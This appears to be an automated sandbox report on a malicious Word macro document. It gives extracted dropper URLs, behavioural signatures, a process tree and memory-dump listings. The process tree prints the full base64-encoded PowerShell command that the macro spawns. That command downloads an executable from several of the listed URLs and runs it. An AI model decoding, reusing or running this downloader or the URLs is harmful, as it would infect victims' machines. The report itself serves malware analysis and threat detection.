Analysis
- max time kernel
147s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
13/06/2024, 04:15
General
- Target a3cc1ca23c3927d73ab6ad0e56d8540d_JaffaCakes118.doc
- Size 156KB
- Sample240613-evm44atfmf
- SHA256 fd244d54c913f855743a8a324e5bef79a95c051205b3995082763d79eac81ce1
Malware Config
Extracted
-
ps1
-
exe.dropper
http://asfckmusic.com/axhhy/2/
-
exe.dropper
http://webtalavera.com/site/1nBdLgY/
-
exe.dropper
http://varthana.com/archive/sEaku/
-
exe.dropper
http://rjsoft.nl/helpdesk/8TQ54h/
-
exe.dropper
http://zoomandshootphotography.com/wp-includes/MPkwrU2/
-
exe.dropper
http://prodel.com.br/pedidos/Sp9/
-
exe.dropper
http://iemsys.co.za/fsffa.co.za/2ntFq/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a3cc1ca23c3927d73ab6ad0e56d8540d_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABXADcAYgBqAGcAcgBrAD0AKAAoACcASgBpACcAKwAnAHQAdAAnACkAKwAnAHQAJwArACcAbQAzACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBTAGUAcgBwAFIATwBmAGkAbABFAFwAZgBRAFIAZQBZAGYAdQBcAGcAdwBVAHEAVABmADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAHUAUgBpAFQAYABZAFAAYABSAGAATwB0AGAAbwBjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbAAnACsAJwBzADEAMgAsACcAKQArACcAIAAnACsAJwB0AGwAJwArACgAJwBzADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAEsAMABvADkAbAB0AGgAIAA9ACAAKAAoACcAWgAnACsAJwB0AGYAcwAnACkAKwAnAHEAdwAnACsAJwBhACcAKwAnADkAcAAnACkAOwAkAEUAZABoADQAYQBpAGYAPQAoACcAQwAnACsAKAAnAHAAcgAnACsAJwAwAHUAMgAnACkAKwAnAGYAJwApADsAJABCADAAcQBwADEAMwBqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AEYAcQByAGUAeQBmAHUAJwArACcAewAwACcAKwAnAH0ARwAnACsAJwB3ACcAKwAnAHUAcQB0AGYANQB7ADAAfQAnACkALQBGACAAIABbAGMAaABhAFIAXQA5ADIAKQArACQASwAwAG8AOQBsAHQAaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFQAcAB3AGEAegA4ADYAPQAoACgAJwBNAF8AYQBsACcAKwAnAG4AJwApACsAJwBqACcAKwAnADcAJwApADsAJABUAHUAdQBlAGgAeAA4AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcARQBiAEMAbABJAGUATgB0ADsAJABVAHcANAA5AHIAOABqAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACgAJwAvAC8AYQAnACsAJwBzACcAKQArACgAJwBmAGMAawBtAHUAcwAnACsAJwBpACcAKwAnAGMAJwArACcALgAnACsAJwBjAG8AbQAvAGEAJwApACsAKAAnAHgAaABoAHkALwAyAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwB3AGUAYgB0AGEAbABhACcAKwAnAHYAJwArACcAZQByAGEALgBjAG8AJwArACcAbQAvAHMAaQB0AGUAJwArACcALwAnACkAKwAoACcAMQBuACcAKwAnAEIAJwArACcAZABMAGcAWQAvACoAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAdgBhACcAKwAnAHIAJwApACsAJwB0ACcAKwAoACcAaABhAG4AYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGEAJwApACsAKAAnAHIAJwArACcAYwBoAGkAdgAnACkAKwAoACcAZQAvACcAKwAnAHMARQBhAGsAJwArACcAdQAnACkAKwAnAC8AKgAnACsAJwBoACcAKwAnAHQAJwArACgAJwB0AHAAOgAvAC8AcgBqAHMAJwArACcAbwAnACsAJwBmAHQALgAnACkAKwAoACcAbgBsAC8AJwArACcAaABlAGwAJwArACcAcABkAGUAcwBrACcAKQArACgAJwAvACcAKwAnADgAVAAnACkAKwAoACcAUQA1ACcAKwAnADQAaAAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AJwArACcAegBvACcAKQArACgAJwBvAG0AYQBuACcAKwAnAGQAcwBoAG8AbwAnACsAJwB0ACcAKQArACcAcAAnACsAKAAnAGgAbwB0AG8AJwArACcAZwAnACsAJwByAGEAcABoAHkALgAnACsAJwBjAG8AbQAvAHcAcAAtAGkAbgAnACkAKwAoACcAYwAnACsAJwBsAHUAZAAnACkAKwAoACcAZQAnACsAJwBzAC8AJwArACcATQBQAGsAdwAnACkAKwAoACcAcgBVACcAKwAnADIAJwApACsAKAAnAC8AKgBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwBwAHIAJwApACsAJwBvAGQAJwArACcAZQBsACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0ALgAnACsAJwBiACcAKQArACgAJwByAC8AJwArACcAcABlAGQAaQAnACkAKwAoACcAZABvAHMALwBTAHAAOQAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACcALwAvACcAKwAoACcAaQAnACsAJwBlAG0AJwArACcAcwB5AHMALgBjAG8AJwApACsAKAAnAC4AegBhACcAKwAnAC8AZgBzAGYAZgAnACsAJwBhAC4AJwApACsAKAAnAGMAJwArACcAbwAuACcAKQArACgAJwB6AGEALwAnACsAJwAyACcAKQArACcAbgAnACsAKAAnAHQAJwArACcARgBxAC8AJwApACkALgAiAHMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgA5AGsAZwA2AHUAaAA9ACgAJwBKACcAKwAnADAAJwArACgAJwBqAG0AJwArACcAbQBhAF8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGcAagBuADkAOAAxACAAaQBuACAAJABVAHcANAA5AHIAOABqACkAewB0AHIAeQB7ACQAVAB1AHUAZQBoAHgAOAAuACIARABgAE8AdwBuAEwAbwBgAEEARABGAGAASQBsAGUAIgAoACQASQBnAGoAbgA5ADgAMQAsACAAJABCADAAcQBwADEAMwBqACkAOwAkAEkAYgA1AHYAbABvAHQAPQAoACcARwAnACsAKAAnAHEAbQAnACsAJwBiACcAKQArACgAJwBpACcAKwAnADUAaAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABCADAAcQBwADEAMwBqACkALgAiAGwAYABFAE4ARwBgAFQASAAiACAALQBnAGUAIAAzADYAMwAzADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQgAwAHEAcAAxADMAagApADsAJABJAGUAdwBxADAAdgBpAD0AKAAnAEkAeAAnACsAKAAnADIAeQB0ACcAKwAnAHAAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAUAAwAG0AcABsADUAcAA9ACgAKAAnAEEAMAAnACsAJwBvAGkAZwBkACcAKQArACcAdQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAMwBfADgAbwAwAG4APQAoACcAUAAnACsAKAAnAG8AYQAyADMAJwArACcAeAAxACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_0hp3nxix.f3j.ps1
memory/4572-57-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/4572-81-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/4572-78-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/4572-63-0x00000248A5630000-0x00000248A5652000-memory.dmp
memory/5068-19-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-6-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-7-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-9-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-8-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-12-0x00007FFB2DED0000-0x00007FFB2DEE0000-memory.dmp
memory/5068-11-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-10-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-13-0x00007FFB2DED0000-0x00007FFB2DEE0000-memory.dmp
memory/5068-0-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-20-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-5-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-1-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-2-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-75-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-76-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-77-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp
memory/5068-4-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-3-0x00007FFB7004D000-0x00007FFB7004E000-memory.dmp
memory/5068-100-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-101-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-103-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-102-0x00007FFB30030000-0x00007FFB30040000-memory.dmp
memory/5068-104-0x00007FFB6FFB0000-0x00007FFB701A5000-memory.dmp